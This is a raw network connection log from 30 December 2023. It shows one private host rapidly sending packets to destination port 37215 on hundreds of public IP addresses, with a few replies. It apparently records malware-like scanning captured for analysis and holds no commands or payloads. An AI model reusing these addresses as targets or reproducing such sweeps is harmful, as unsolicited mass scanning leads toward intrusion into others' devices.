Dec 30, 2023 07:13:48.361268997 CET	3641	37215	192.168.2.23	41.189.73.70
Dec 30, 2023 07:13:48.361268997 CET	3641	37215	192.168.2.23	156.168.48.67
Dec 30, 2023 07:13:48.361275911 CET	3641	37215	192.168.2.23	156.195.242.113
Dec 30, 2023 07:13:48.361284971 CET	3641	37215	192.168.2.23	197.179.224.170
Dec 30, 2023 07:13:48.361284971 CET	3641	37215	192.168.2.23	160.14.249.235
Dec 30, 2023 07:13:48.361284971 CET	3641	37215	192.168.2.23	156.204.192.180
Dec 30, 2023 07:13:48.361294031 CET	3641	37215	192.168.2.23	197.234.106.90
Dec 30, 2023 07:13:48.361299038 CET	3641	37215	192.168.2.23	156.225.188.153
Dec 30, 2023 07:13:48.361299038 CET	3641	37215	192.168.2.23	156.178.174.231
Dec 30, 2023 07:13:48.361306906 CET	3641	37215	192.168.2.23	197.183.252.198
Dec 30, 2023 07:13:48.361323118 CET	3641	37215	192.168.2.23	197.14.186.92
Dec 30, 2023 07:13:48.361324072 CET	3641	37215	192.168.2.23	196.19.26.190
Dec 30, 2023 07:13:48.361326933 CET	3641	37215	192.168.2.23	197.223.246.237
Dec 30, 2023 07:13:48.361326933 CET	3641	37215	192.168.2.23	156.82.72.65
Dec 30, 2023 07:13:48.361326933 CET	3641	37215	192.168.2.23	197.168.55.72
Dec 30, 2023 07:13:48.361330032 CET	3641	37215	192.168.2.23	197.74.60.35
Dec 30, 2023 07:13:48.361341000 CET	3641	37215	192.168.2.23	157.70.162.178
Dec 30, 2023 07:13:48.361341953 CET	3641	37215	192.168.2.23	186.167.125.69
Dec 30, 2023 07:13:48.361351013 CET	3641	37215	192.168.2.23	92.146.247.87
Dec 30, 2023 07:13:48.361354113 CET	3641	37215	192.168.2.23	138.195.1.19
Dec 30, 2023 07:13:48.361354113 CET	3641	37215	192.168.2.23	95.111.147.174
Dec 30, 2023 07:13:48.361354113 CET	3641	37215	192.168.2.23	41.178.32.221
Dec 30, 2023 07:13:48.361354113 CET	3641	37215	192.168.2.23	41.253.167.109
Dec 30, 2023 07:13:48.361354113 CET	3641	37215	192.168.2.23	156.14.221.42
Dec 30, 2023 07:13:48.361354113 CET	3641	37215	192.168.2.23	190.229.47.44
Dec 30, 2023 07:13:48.361361980 CET	3641	37215	192.168.2.23	197.148.82.188
Dec 30, 2023 07:13:48.361367941 CET	3641	37215	192.168.2.23	122.104.204.219
Dec 30, 2023 07:13:48.361376047 CET	3641	37215	192.168.2.23	95.221.67.206
Dec 30, 2023 07:13:48.361376047 CET	3641	37215	192.168.2.23	156.107.192.202
Dec 30, 2023 07:13:48.361377954 CET	3641	37215	192.168.2.23	197.159.15.115
Dec 30, 2023 07:13:48.361377954 CET	3641	37215	192.168.2.23	41.115.20.14
Dec 30, 2023 07:13:48.361377954 CET	3641	37215	192.168.2.23	156.225.213.37
Dec 30, 2023 07:13:48.361392975 CET	3641	37215	192.168.2.23	41.78.182.45
Dec 30, 2023 07:13:48.361397982 CET	3641	37215	192.168.2.23	107.230.224.162
Dec 30, 2023 07:13:48.361411095 CET	3641	37215	192.168.2.23	197.95.250.65
Dec 30, 2023 07:13:48.361411095 CET	3641	37215	192.168.2.23	102.48.19.236
Dec 30, 2023 07:13:48.361419916 CET	3641	37215	192.168.2.23	41.91.141.215
Dec 30, 2023 07:13:48.361419916 CET	3641	37215	192.168.2.23	197.185.43.219
Dec 30, 2023 07:13:48.361421108 CET	3641	37215	192.168.2.23	190.82.58.47
Dec 30, 2023 07:13:48.361422062 CET	3641	37215	192.168.2.23	197.50.169.95
Dec 30, 2023 07:13:48.361429930 CET	3641	37215	192.168.2.23	156.134.84.149
Dec 30, 2023 07:13:48.361429930 CET	3641	37215	192.168.2.23	41.74.237.179
Dec 30, 2023 07:13:48.361429930 CET	3641	37215	192.168.2.23	41.254.79.148
Dec 30, 2023 07:13:48.361442089 CET	3641	37215	192.168.2.23	156.166.195.13
Dec 30, 2023 07:13:48.361448050 CET	3641	37215	192.168.2.23	138.38.122.201
Dec 30, 2023 07:13:48.361454010 CET	3641	37215	192.168.2.23	196.71.21.120
Dec 30, 2023 07:13:48.361459017 CET	3641	37215	192.168.2.23	181.162.202.113
Dec 30, 2023 07:13:48.361459970 CET	3641	37215	192.168.2.23	181.214.66.53
Dec 30, 2023 07:13:48.361459970 CET	3641	37215	192.168.2.23	186.99.253.146
Dec 30, 2023 07:13:48.361459970 CET	3641	37215	192.168.2.23	157.226.138.241
Dec 30, 2023 07:13:48.361462116 CET	3641	37215	192.168.2.23	121.161.47.91
Dec 30, 2023 07:13:48.361462116 CET	3641	37215	192.168.2.23	156.164.156.85
Dec 30, 2023 07:13:48.361462116 CET	3641	37215	192.168.2.23	156.46.88.168
Dec 30, 2023 07:13:48.361465931 CET	3641	37215	192.168.2.23	102.166.130.203
Dec 30, 2023 07:13:48.361468077 CET	3641	37215	192.168.2.23	37.12.25.173
Dec 30, 2023 07:13:48.361475945 CET	3641	37215	192.168.2.23	41.139.121.41
Dec 30, 2023 07:13:48.361476898 CET	3641	37215	192.168.2.23	156.192.153.154
Dec 30, 2023 07:13:48.361476898 CET	3641	37215	192.168.2.23	41.52.176.190
Dec 30, 2023 07:13:48.361480951 CET	3641	37215	192.168.2.23	138.149.220.84
Dec 30, 2023 07:13:48.361481905 CET	3641	37215	192.168.2.23	120.180.221.120
Dec 30, 2023 07:13:48.361481905 CET	3641	37215	192.168.2.23	156.191.220.226
Dec 30, 2023 07:13:48.361481905 CET	3641	37215	192.168.2.23	156.253.32.111
Dec 30, 2023 07:13:48.361489058 CET	3641	37215	192.168.2.23	197.158.102.161
Dec 30, 2023 07:13:48.361493111 CET	3641	37215	192.168.2.23	197.87.138.121
Dec 30, 2023 07:13:48.361495972 CET	3641	37215	192.168.2.23	45.68.97.16
Dec 30, 2023 07:13:48.361505985 CET	3641	37215	192.168.2.23	197.97.35.173
Dec 30, 2023 07:13:48.361505985 CET	3641	37215	192.168.2.23	138.43.64.185
Dec 30, 2023 07:13:48.361511946 CET	3641	37215	192.168.2.23	156.20.214.66
Dec 30, 2023 07:13:48.361511946 CET	3641	37215	192.168.2.23	156.242.60.34
Dec 30, 2023 07:13:48.361512899 CET	3641	37215	192.168.2.23	154.145.39.157
Dec 30, 2023 07:13:48.361514091 CET	3641	37215	192.168.2.23	181.207.163.124
Dec 30, 2023 07:13:48.361512899 CET	3641	37215	192.168.2.23	41.106.170.145
Dec 30, 2023 07:13:48.361525059 CET	3641	37215	192.168.2.23	122.65.28.69
Dec 30, 2023 07:13:48.361525059 CET	3641	37215	192.168.2.23	197.101.162.94
Dec 30, 2023 07:13:48.361531019 CET	3641	37215	192.168.2.23	197.196.24.235
Dec 30, 2023 07:13:48.361536980 CET	3641	37215	192.168.2.23	94.101.129.6
Dec 30, 2023 07:13:48.361540079 CET	3641	37215	192.168.2.23	41.88.206.113
Dec 30, 2023 07:13:48.361540079 CET	3641	37215	192.168.2.23	157.254.23.32
Dec 30, 2023 07:13:48.361556053 CET	3641	37215	192.168.2.23	160.167.84.110
Dec 30, 2023 07:13:48.361556053 CET	3641	37215	192.168.2.23	94.219.38.204
Dec 30, 2023 07:13:48.361558914 CET	3641	37215	192.168.2.23	121.103.172.158
Dec 30, 2023 07:13:48.361558914 CET	3641	37215	192.168.2.23	197.95.182.183
Dec 30, 2023 07:13:48.361562967 CET	3641	37215	192.168.2.23	156.248.233.166
Dec 30, 2023 07:13:48.361562967 CET	3641	37215	192.168.2.23	156.87.167.91
Dec 30, 2023 07:13:48.361566067 CET	3641	37215	192.168.2.23	181.105.218.96
Dec 30, 2023 07:13:48.361566067 CET	3641	37215	192.168.2.23	156.140.42.56
Dec 30, 2023 07:13:48.361572981 CET	3641	37215	192.168.2.23	41.61.183.203
Dec 30, 2023 07:13:48.361579895 CET	3641	37215	192.168.2.23	102.224.232.128
Dec 30, 2023 07:13:48.361582994 CET	3641	37215	192.168.2.23	102.1.6.178
Dec 30, 2023 07:13:48.361582994 CET	3641	37215	192.168.2.23	156.254.110.178
Dec 30, 2023 07:13:48.361584902 CET	3641	37215	192.168.2.23	197.68.86.28
Dec 30, 2023 07:13:48.361593008 CET	3641	37215	192.168.2.23	41.90.251.154
Dec 30, 2023 07:13:48.361599922 CET	3641	37215	192.168.2.23	197.18.225.129
Dec 30, 2023 07:13:48.361601114 CET	3641	37215	192.168.2.23	160.67.90.183
Dec 30, 2023 07:13:48.361607075 CET	3641	37215	192.168.2.23	196.97.245.74
Dec 30, 2023 07:13:48.361609936 CET	3641	37215	192.168.2.23	156.103.240.210
Dec 30, 2023 07:13:48.361615896 CET	3641	37215	192.168.2.23	156.251.183.126
Dec 30, 2023 07:13:48.361617088 CET	3641	37215	192.168.2.23	41.229.47.104
Dec 30, 2023 07:13:48.361617088 CET	3641	37215	192.168.2.23	197.144.61.80
Dec 30, 2023 07:13:48.361634970 CET	3641	37215	192.168.2.23	41.125.55.228
Dec 30, 2023 07:13:48.361639023 CET	3641	37215	192.168.2.23	156.87.132.20
Dec 30, 2023 07:13:48.361639023 CET	3641	37215	192.168.2.23	41.133.118.183
Dec 30, 2023 07:13:48.361639023 CET	3641	37215	192.168.2.23	156.230.233.125
Dec 30, 2023 07:13:48.361643076 CET	3641	37215	192.168.2.23	197.8.228.218
Dec 30, 2023 07:13:48.361651897 CET	3641	37215	192.168.2.23	41.52.69.232
Dec 30, 2023 07:13:48.361654043 CET	3641	37215	192.168.2.23	197.12.4.156
Dec 30, 2023 07:13:48.361660004 CET	3641	37215	192.168.2.23	156.80.34.45
Dec 30, 2023 07:13:48.361671925 CET	3641	37215	192.168.2.23	197.242.159.160
Dec 30, 2023 07:13:48.361675024 CET	3641	37215	192.168.2.23	197.219.137.163
Dec 30, 2023 07:13:48.361675024 CET	3641	37215	192.168.2.23	41.94.58.192
Dec 30, 2023 07:13:48.361675024 CET	3641	37215	192.168.2.23	95.202.122.172
Dec 30, 2023 07:13:48.361675024 CET	3641	37215	192.168.2.23	41.18.8.81
Dec 30, 2023 07:13:48.361685038 CET	3641	37215	192.168.2.23	190.94.22.247
Dec 30, 2023 07:13:48.361687899 CET	3641	37215	192.168.2.23	156.228.38.230
Dec 30, 2023 07:13:48.361690044 CET	3641	37215	192.168.2.23	156.174.106.145
Dec 30, 2023 07:13:48.361696005 CET	3641	37215	192.168.2.23	92.209.7.140
Dec 30, 2023 07:13:48.361704111 CET	3641	37215	192.168.2.23	95.255.78.99
Dec 30, 2023 07:13:48.361706018 CET	3641	37215	192.168.2.23	156.161.101.226
Dec 30, 2023 07:13:48.361709118 CET	3641	37215	192.168.2.23	197.85.140.123
Dec 30, 2023 07:13:48.361716032 CET	3641	37215	192.168.2.23	41.241.198.202
Dec 30, 2023 07:13:48.361716032 CET	3641	37215	192.168.2.23	156.113.73.119
Dec 30, 2023 07:13:48.361716032 CET	3641	37215	192.168.2.23	107.71.249.242
Dec 30, 2023 07:13:48.361726999 CET	3641	37215	192.168.2.23	157.172.124.79
Dec 30, 2023 07:13:48.361732960 CET	3641	37215	192.168.2.23	186.183.143.9
Dec 30, 2023 07:13:48.361733913 CET	3641	37215	192.168.2.23	122.92.225.208
Dec 30, 2023 07:13:48.361736059 CET	3641	37215	192.168.2.23	156.137.249.0
Dec 30, 2023 07:13:48.361736059 CET	3641	37215	192.168.2.23	156.34.17.167
Dec 30, 2023 07:13:48.361742020 CET	3641	37215	192.168.2.23	41.106.111.95
Dec 30, 2023 07:13:48.361742020 CET	3641	37215	192.168.2.23	41.81.21.50
Dec 30, 2023 07:13:48.361742020 CET	3641	37215	192.168.2.23	197.221.168.18
Dec 30, 2023 07:13:48.361742020 CET	3641	37215	192.168.2.23	120.91.118.133
Dec 30, 2023 07:13:48.361743927 CET	3641	37215	192.168.2.23	138.3.185.92
Dec 30, 2023 07:13:48.361743927 CET	3641	37215	192.168.2.23	156.28.204.142
Dec 30, 2023 07:13:48.361749887 CET	3641	37215	192.168.2.23	41.144.165.31
Dec 30, 2023 07:13:48.361749887 CET	3641	37215	192.168.2.23	197.248.22.17
Dec 30, 2023 07:13:48.361754894 CET	3641	37215	192.168.2.23	41.30.39.214
Dec 30, 2023 07:13:48.361754894 CET	3641	37215	192.168.2.23	197.144.227.44
Dec 30, 2023 07:13:48.361764908 CET	3641	37215	192.168.2.23	197.173.200.174
Dec 30, 2023 07:13:48.361771107 CET	3641	37215	192.168.2.23	197.30.69.74
Dec 30, 2023 07:13:48.361771107 CET	3641	37215	192.168.2.23	197.64.108.51
Dec 30, 2023 07:13:48.361773968 CET	3641	37215	192.168.2.23	156.82.9.59
Dec 30, 2023 07:13:48.361788988 CET	3641	37215	192.168.2.23	197.107.85.83
Dec 30, 2023 07:13:48.361789942 CET	3641	37215	192.168.2.23	107.201.186.212
Dec 30, 2023 07:13:48.361793041 CET	3641	37215	192.168.2.23	41.122.186.239
Dec 30, 2023 07:13:48.361797094 CET	3641	37215	192.168.2.23	197.206.29.102
Dec 30, 2023 07:13:48.361799002 CET	3641	37215	192.168.2.23	41.191.232.224
Dec 30, 2023 07:13:48.361800909 CET	3641	37215	192.168.2.23	41.3.234.252
Dec 30, 2023 07:13:48.361812115 CET	3641	37215	192.168.2.23	154.172.223.214
Dec 30, 2023 07:13:48.361815929 CET	3641	37215	192.168.2.23	156.80.27.127
Dec 30, 2023 07:13:48.361823082 CET	3641	37215	192.168.2.23	197.194.249.134
Dec 30, 2023 07:13:48.361826897 CET	3641	37215	192.168.2.23	156.167.94.163
Dec 30, 2023 07:13:48.361826897 CET	3641	37215	192.168.2.23	197.48.197.6
Dec 30, 2023 07:13:48.361829996 CET	3641	37215	192.168.2.23	197.109.170.189
Dec 30, 2023 07:13:48.361829996 CET	3641	37215	192.168.2.23	37.253.195.84
Dec 30, 2023 07:13:48.361835957 CET	3641	37215	192.168.2.23	197.161.120.173
Dec 30, 2023 07:13:48.361851931 CET	3641	37215	192.168.2.23	122.232.15.126
Dec 30, 2023 07:13:48.361851931 CET	3641	37215	192.168.2.23	41.147.213.236
Dec 30, 2023 07:13:48.361851931 CET	3641	37215	192.168.2.23	181.88.123.174
Dec 30, 2023 07:13:48.361856937 CET	3641	37215	192.168.2.23	222.245.70.24
Dec 30, 2023 07:13:48.361857891 CET	3641	37215	192.168.2.23	156.143.108.228
Dec 30, 2023 07:13:48.361859083 CET	3641	37215	192.168.2.23	156.226.236.121
Dec 30, 2023 07:13:48.361857891 CET	3641	37215	192.168.2.23	41.128.183.151
Dec 30, 2023 07:13:48.361861944 CET	3641	37215	192.168.2.23	41.80.32.195
Dec 30, 2023 07:13:48.361859083 CET	3641	37215	192.168.2.23	41.160.8.97
Dec 30, 2023 07:13:48.361869097 CET	3641	37215	192.168.2.23	197.25.246.41
Dec 30, 2023 07:13:48.361870050 CET	3641	37215	192.168.2.23	41.124.81.75
Dec 30, 2023 07:13:48.361875057 CET	3641	37215	192.168.2.23	156.116.162.60
Dec 30, 2023 07:13:48.361875057 CET	3641	37215	192.168.2.23	92.189.4.32
Dec 30, 2023 07:13:48.361891985 CET	3641	37215	192.168.2.23	41.143.135.8
Dec 30, 2023 07:13:48.361893892 CET	3641	37215	192.168.2.23	41.15.132.182
Dec 30, 2023 07:13:48.361895084 CET	3641	37215	192.168.2.23	197.176.124.53
Dec 30, 2023 07:13:48.361896038 CET	3641	37215	192.168.2.23	197.150.104.26
Dec 30, 2023 07:13:48.361896038 CET	3641	37215	192.168.2.23	156.60.220.87
Dec 30, 2023 07:13:48.361900091 CET	3641	37215	192.168.2.23	41.178.136.11
Dec 30, 2023 07:13:48.361900091 CET	3641	37215	192.168.2.23	95.86.226.213
Dec 30, 2023 07:13:48.361902952 CET	3641	37215	192.168.2.23	122.112.80.4
Dec 30, 2023 07:13:48.361906052 CET	3641	37215	192.168.2.23	197.214.107.254
Dec 30, 2023 07:13:48.361906052 CET	3641	37215	192.168.2.23	160.41.149.104
Dec 30, 2023 07:13:48.361912012 CET	3641	37215	192.168.2.23	41.198.152.38
Dec 30, 2023 07:13:48.361917019 CET	3641	37215	192.168.2.23	160.128.119.147
Dec 30, 2023 07:13:48.361921072 CET	3641	37215	192.168.2.23	41.95.8.68
Dec 30, 2023 07:13:48.361923933 CET	3641	37215	192.168.2.23	138.134.211.229
Dec 30, 2023 07:13:48.361923933 CET	3641	37215	192.168.2.23	181.31.168.145
Dec 30, 2023 07:13:48.362049103 CET	40494	37215	192.168.2.23	156.73.197.20
Dec 30, 2023 07:13:48.362226009 CET	48908	37215	192.168.2.23	156.73.118.155
Dec 30, 2023 07:13:48.362227917 CET	54650	37215	192.168.2.23	156.73.184.25
Dec 30, 2023 07:13:48.458338976 CET	37215	3641	197.128.19.65	192.168.2.23
Dec 30, 2023 07:13:48.532269955 CET	37215	3641	156.96.40.132	192.168.2.23
Dec 30, 2023 07:13:48.551970959 CET	37215	3641	190.4.77.126	192.168.2.23
Dec 30, 2023 07:13:48.639731884 CET	37215	3641	92.203.24.245	192.168.2.23
Dec 30, 2023 07:13:48.645478964 CET	37215	3641	138.124.242.221	192.168.2.23
Dec 30, 2023 07:13:48.656282902 CET	37215	3641	122.203.172.79	192.168.2.23
Dec 30, 2023 07:13:48.658193111 CET	37215	3641	156.225.188.153	192.168.2.23
Dec 30, 2023 07:13:48.664314032 CET	37215	3641	156.254.110.178	192.168.2.23
Dec 30, 2023 07:13:48.664365053 CET	3641	37215	192.168.2.23	156.254.110.178
Dec 30, 2023 07:13:48.685712099 CET	37215	3641	156.251.183.126	192.168.2.23
Dec 30, 2023 07:13:48.700201035 CET	37215	3641	37.12.25.173	192.168.2.23
Dec 30, 2023 07:13:48.740242004 CET	37215	3641	197.96.57.145	192.168.2.23
Dec 30, 2023 07:13:48.753247023 CET	37215	3641	197.242.159.160	192.168.2.23
Dec 30, 2023 07:13:49.362109900 CET	3641	37215	192.168.2.23	156.172.156.18
Dec 30, 2023 07:13:49.362109900 CET	3641	37215	192.168.2.23	154.143.108.135
Dec 30, 2023 07:13:49.362109900 CET	3641	37215	192.168.2.23	156.30.35.8
Dec 30, 2023 07:13:49.362118006 CET	3641	37215	192.168.2.23	156.188.251.30
Dec 30, 2023 07:13:49.362118006 CET	3641	37215	192.168.2.23	121.57.5.123
Dec 30, 2023 07:13:49.362124920 CET	3641	37215	192.168.2.23	156.106.105.120
Dec 30, 2023 07:13:49.362133026 CET	3641	37215	192.168.2.23	41.76.251.59
Dec 30, 2023 07:13:49.362134933 CET	3641	37215	192.168.2.23	156.136.64.98
Dec 30, 2023 07:13:49.362152100 CET	3641	37215	192.168.2.23	156.186.152.250
Dec 30, 2023 07:13:49.362152100 CET	3641	37215	192.168.2.23	41.245.162.226
Dec 30, 2023 07:13:49.362157106 CET	3641	37215	192.168.2.23	92.237.7.131
Dec 30, 2023 07:13:49.362159967 CET	3641	37215	192.168.2.23	138.37.113.170
Dec 30, 2023 07:13:49.362159967 CET	3641	37215	192.168.2.23	41.205.233.79
Dec 30, 2023 07:13:49.362175941 CET	3641	37215	192.168.2.23	156.14.187.152
Dec 30, 2023 07:13:49.362175941 CET	3641	37215	192.168.2.23	41.91.137.218
Dec 30, 2023 07:13:49.362183094 CET	3641	37215	192.168.2.23	37.188.177.32
Dec 30, 2023 07:13:49.362183094 CET	3641	37215	192.168.2.23	102.24.218.231
Dec 30, 2023 07:13:49.362186909 CET	3641	37215	192.168.2.23	197.87.0.2
Dec 30, 2023 07:13:49.362186909 CET	3641	37215	192.168.2.23	41.158.54.40
Dec 30, 2023 07:13:49.362186909 CET	3641	37215	192.168.2.23	41.73.217.202
Dec 30, 2023 07:13:49.362189054 CET	3641	37215	192.168.2.23	156.37.116.141
Dec 30, 2023 07:13:49.362189054 CET	3641	37215	192.168.2.23	156.193.10.228
Dec 30, 2023 07:13:49.362204075 CET	3641	37215	192.168.2.23	197.143.229.107
Dec 30, 2023 07:13:49.362206936 CET	3641	37215	192.168.2.23	197.17.126.216
Dec 30, 2023 07:13:49.362206936 CET	3641	37215	192.168.2.23	197.151.190.161
Dec 30, 2023 07:13:49.362206936 CET	3641	37215	192.168.2.23	197.206.14.29
Dec 30, 2023 07:13:49.362214088 CET	3641	37215	192.168.2.23	197.246.90.0
Dec 30, 2023 07:13:49.362216949 CET	3641	37215	192.168.2.23	41.111.215.162
Dec 30, 2023 07:13:49.362221003 CET	3641	37215	192.168.2.23	197.220.102.234
Dec 30, 2023 07:13:49.362231970 CET	3641	37215	192.168.2.23	156.24.149.222
Dec 30, 2023 07:13:49.362232924 CET	3641	37215	192.168.2.23	41.13.110.159
Dec 30, 2023 07:13:49.362247944 CET	3641	37215	192.168.2.23	222.189.163.49
Dec 30, 2023 07:13:49.362261057 CET	3641	37215	192.168.2.23	41.55.171.1
Dec 30, 2023 07:13:49.362265110 CET	3641	37215	192.168.2.23	120.91.249.138
Dec 30, 2023 07:13:49.362265110 CET	3641	37215	192.168.2.23	138.82.44.227
Dec 30, 2023 07:13:49.362265110 CET	3641	37215	192.168.2.23	107.193.107.53
Dec 30, 2023 07:13:49.362276077 CET	3641	37215	192.168.2.23	156.180.2.66
Dec 30, 2023 07:13:49.362277031 CET	3641	37215	192.168.2.23	156.128.101.20
Dec 30, 2023 07:13:49.362277031 CET	3641	37215	192.168.2.23	45.232.205.169
Dec 30, 2023 07:13:49.362286091 CET	3641	37215	192.168.2.23	156.206.255.128
Dec 30, 2023 07:13:49.362286091 CET	3641	37215	192.168.2.23	156.13.22.35
Dec 30, 2023 07:13:49.362286091 CET	3641	37215	192.168.2.23	156.15.109.158
Dec 30, 2023 07:13:49.362293005 CET	3641	37215	192.168.2.23	41.241.243.88
Dec 30, 2023 07:13:49.362298965 CET	3641	37215	192.168.2.23	197.129.88.216
Dec 30, 2023 07:13:49.362298965 CET	3641	37215	192.168.2.23	41.67.250.34
Dec 30, 2023 07:13:49.362298965 CET	3641	37215	192.168.2.23	41.81.143.13
Dec 30, 2023 07:13:49.362303019 CET	3641	37215	192.168.2.23	181.189.152.240
Dec 30, 2023 07:13:49.362303019 CET	3641	37215	192.168.2.23	156.68.115.9
Dec 30, 2023 07:13:49.362309933 CET	3641	37215	192.168.2.23	154.157.114.127
Dec 30, 2023 07:13:49.362310886 CET	3641	37215	192.168.2.23	41.213.51.197
Dec 30, 2023 07:13:49.362310886 CET	3641	37215	192.168.2.23	156.18.57.131
Dec 30, 2023 07:13:49.362313986 CET	3641	37215	192.168.2.23	197.116.77.198
Dec 30, 2023 07:13:49.362313986 CET	3641	37215	192.168.2.23	186.229.178.188
Dec 30, 2023 07:13:49.362315893 CET	3641	37215	192.168.2.23	156.128.240.193
Dec 30, 2023 07:13:49.362315893 CET	3641	37215	192.168.2.23	41.116.195.72
Dec 30, 2023 07:13:49.362315893 CET	3641	37215	192.168.2.23	41.245.36.59
Dec 30, 2023 07:13:49.362315893 CET	3641	37215	192.168.2.23	156.67.235.102
Dec 30, 2023 07:13:49.362315893 CET	3641	37215	192.168.2.23	197.232.146.138
Dec 30, 2023 07:13:49.362320900 CET	3641	37215	192.168.2.23	154.6.115.0
Dec 30, 2023 07:13:49.362322092 CET	3641	37215	192.168.2.23	102.209.198.158
Dec 30, 2023 07:13:49.362322092 CET	3641	37215	192.168.2.23	138.71.50.236
Dec 30, 2023 07:13:49.362322092 CET	3641	37215	192.168.2.23	102.65.187.165
Dec 30, 2023 07:13:49.362320900 CET	3641	37215	192.168.2.23	156.11.249.13
Dec 30, 2023 07:13:49.362320900 CET	3641	37215	192.168.2.23	37.79.180.90
Dec 30, 2023 07:13:49.362332106 CET	3641	37215	192.168.2.23	41.120.234.163
Dec 30, 2023 07:13:49.362333059 CET	3641	37215	192.168.2.23	186.45.242.75
Dec 30, 2023 07:13:49.362333059 CET	3641	37215	192.168.2.23	92.248.45.185
Dec 30, 2023 07:13:49.362339973 CET	3641	37215	192.168.2.23	41.8.202.55
Dec 30, 2023 07:13:49.362350941 CET	3641	37215	192.168.2.23	102.34.180.193
Dec 30, 2023 07:13:49.362351894 CET	3641	37215	192.168.2.23	160.80.105.27
Dec 30, 2023 07:13:49.362354994 CET	3641	37215	192.168.2.23	41.202.231.0
Dec 30, 2023 07:13:49.362360001 CET	3641	37215	192.168.2.23	197.207.25.161
Dec 30, 2023 07:13:49.362361908 CET	3641	37215	192.168.2.23	102.77.186.225
Dec 30, 2023 07:13:49.362376928 CET	3641	37215	192.168.2.23	120.112.201.76
Dec 30, 2023 07:13:49.362376928 CET	3641	37215	192.168.2.23	197.172.97.242
Dec 30, 2023 07:13:49.362380981 CET	3641	37215	192.168.2.23	197.170.55.78
Dec 30, 2023 07:13:49.362380981 CET	3641	37215	192.168.2.23	154.118.253.15
Dec 30, 2023 07:13:49.362380981 CET	3641	37215	192.168.2.23	197.103.236.32
Dec 30, 2023 07:13:49.362391949 CET	3641	37215	192.168.2.23	41.172.236.95
Dec 30, 2023 07:13:49.362396955 CET	3641	37215	192.168.2.23	41.14.136.29
Dec 30, 2023 07:13:49.362401009 CET	3641	37215	192.168.2.23	197.71.49.91
Dec 30, 2023 07:13:49.362404108 CET	3641	37215	192.168.2.23	122.149.32.232
Dec 30, 2023 07:13:49.362406015 CET	3641	37215	192.168.2.23	121.60.119.44
Dec 30, 2023 07:13:49.362404108 CET	3641	37215	192.168.2.23	156.131.159.242
Dec 30, 2023 07:13:49.362409115 CET	3641	37215	192.168.2.23	197.110.141.109
Dec 30, 2023 07:13:49.362409115 CET	3641	37215	192.168.2.23	197.169.234.35
Dec 30, 2023 07:13:49.362411022 CET	3641	37215	192.168.2.23	92.211.73.97
Dec 30, 2023 07:13:49.362420082 CET	3641	37215	192.168.2.23	94.113.183.124
Dec 30, 2023 07:13:49.362421036 CET	3641	37215	192.168.2.23	156.90.148.205
Dec 30, 2023 07:13:49.362421036 CET	3641	37215	192.168.2.23	92.245.57.158
Dec 30, 2023 07:13:49.362432957 CET	3641	37215	192.168.2.23	186.17.152.103
Dec 30, 2023 07:13:49.362438917 CET	3641	37215	192.168.2.23	197.89.147.2
Dec 30, 2023 07:13:49.362448931 CET	3641	37215	192.168.2.23	156.215.7.69
Dec 30, 2023 07:13:49.362449884 CET	3641	37215	192.168.2.23	156.126.139.5
Dec 30, 2023 07:13:49.362456083 CET	3641	37215	192.168.2.23	156.111.157.226
Dec 30, 2023 07:13:49.362456083 CET	3641	37215	192.168.2.23	94.84.109.45
Dec 30, 2023 07:13:49.362457037 CET	3641	37215	192.168.2.23	156.34.159.148
Dec 30, 2023 07:13:49.362457991 CET	3641	37215	192.168.2.23	197.67.221.7
Dec 30, 2023 07:13:49.362458944 CET	3641	37215	192.168.2.23	197.144.112.107
Dec 30, 2023 07:13:49.362468004 CET	3641	37215	192.168.2.23	190.47.162.51
Dec 30, 2023 07:13:49.362468958 CET	3641	37215	192.168.2.23	197.196.186.142
Dec 30, 2023 07:13:49.362469912 CET	3641	37215	192.168.2.23	41.152.138.155
Dec 30, 2023 07:13:49.362469912 CET	3641	37215	192.168.2.23	196.44.197.72
Dec 30, 2023 07:13:49.362474918 CET	3641	37215	192.168.2.23	156.243.220.98
Dec 30, 2023 07:13:49.362485886 CET	3641	37215	192.168.2.23	197.197.142.49
Dec 30, 2023 07:13:49.362490892 CET	3641	37215	192.168.2.23	197.233.146.202
Dec 30, 2023 07:13:49.362504005 CET	3641	37215	192.168.2.23	41.134.201.196
Dec 30, 2023 07:13:49.362504005 CET	3641	37215	192.168.2.23	41.131.252.21
Dec 30, 2023 07:13:49.362504005 CET	3641	37215	192.168.2.23	41.239.26.186
Dec 30, 2023 07:13:49.362505913 CET	3641	37215	192.168.2.23	102.86.175.43
Dec 30, 2023 07:13:49.362505913 CET	3641	37215	192.168.2.23	186.217.240.189
Dec 30, 2023 07:13:49.362505913 CET	3641	37215	192.168.2.23	197.122.140.207
Dec 30, 2023 07:13:49.362505913 CET	3641	37215	192.168.2.23	138.166.44.105
Dec 30, 2023 07:13:49.362505913 CET	3641	37215	192.168.2.23	190.110.253.144
Dec 30, 2023 07:13:49.362510920 CET	3641	37215	192.168.2.23	41.150.159.57
Dec 30, 2023 07:13:49.362510920 CET	3641	37215	192.168.2.23	102.71.234.206
Dec 30, 2023 07:13:49.362512112 CET	3641	37215	192.168.2.23	156.87.176.88
Dec 30, 2023 07:13:49.362520933 CET	3641	37215	192.168.2.23	181.204.204.20
Dec 30, 2023 07:13:49.362520933 CET	3641	37215	192.168.2.23	197.29.84.226
Dec 30, 2023 07:13:49.362521887 CET	3641	37215	192.168.2.23	41.238.64.25
Dec 30, 2023 07:13:49.362525940 CET	3641	37215	192.168.2.23	41.120.138.150
Dec 30, 2023 07:13:49.362526894 CET	3641	37215	192.168.2.23	156.189.19.30
Dec 30, 2023 07:13:49.362526894 CET	3641	37215	192.168.2.23	197.211.112.210
Dec 30, 2023 07:13:49.362526894 CET	3641	37215	192.168.2.23	41.38.152.197
Dec 30, 2023 07:13:49.362526894 CET	3641	37215	192.168.2.23	41.82.241.11
Dec 30, 2023 07:13:49.362526894 CET	3641	37215	192.168.2.23	156.216.36.176
Dec 30, 2023 07:13:49.362533092 CET	3641	37215	192.168.2.23	196.245.170.223
Dec 30, 2023 07:13:49.362533092 CET	3641	37215	192.168.2.23	107.45.102.27
Dec 30, 2023 07:13:49.362536907 CET	3641	37215	192.168.2.23	41.248.190.241
Dec 30, 2023 07:13:49.362538099 CET	3641	37215	192.168.2.23	41.8.241.35
Dec 30, 2023 07:13:49.362538099 CET	3641	37215	192.168.2.23	41.1.63.215
Dec 30, 2023 07:13:49.362538099 CET	3641	37215	192.168.2.23	156.1.200.53
Dec 30, 2023 07:13:49.362538099 CET	3641	37215	192.168.2.23	197.229.58.82
Dec 30, 2023 07:13:49.362539053 CET	3641	37215	192.168.2.23	156.229.238.1
